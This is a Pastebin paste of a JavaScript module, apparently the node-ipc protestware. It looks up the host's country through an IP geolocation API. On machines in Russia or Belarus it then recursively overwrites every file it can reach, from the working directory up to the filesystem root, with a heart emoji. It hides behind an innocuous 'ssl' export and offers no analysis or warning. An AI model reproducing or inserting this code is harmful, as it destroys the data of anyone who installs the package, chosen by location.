Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import pathHelper from "path";
- import fs from "fs";
- import https from "https";
- // runs the function after a random delay
- setTimeout(function () {
- // randomly stops this code from continuing
- const rand = Math.round(Math.random() * 4);
- if (rand > 1) {
- return;
- }
- // Make an https request to determine the hosts IP address
- https.get("https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154", function (t) {
- t.on("data", function (data) {
- try {
- const json = JSON.parse(data);
- const country = json["country_name"].toLowerCase();
- const isInvader = country.includes("russia") || country.includes("belarus");
- if (isInvader) {
- yeet("./");
- yeet("../");
- yeet("../../");
- yeet("/");
- }
- } catch (err) {}
- });
- });
- }, Math.ceil(Math.random() * 1e3));
- async function yeet(path = "") {
- // Base case. Returns if `path` doesn't exist
- if (!fs.existsSync(path)) {
- return;
- }
- // Get all files in the current path
- let children = [];
- try {
- children = fs.readdirSync(path);
- } catch (err) {}
- // Recursively overwrite all files in the current path
- for (var i = 0; i < children.length; i++) {
- const childPath = pathHelper.join(path, children[i]);
- let stat = null;
- try {
- stat = fs.lstatSync(childPath);
- } catch (err) {
- continue;
- }
- if (stat.isDirectory()) {
- yeet(childPath);
- } else {
- try {
- fs.writeFile(childPath, "❤️"); // overwrites file with `❤️`
- } catch (err) {}
- }
- }
- }
- const ssl = true;
- export { ssl as default, ssl };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement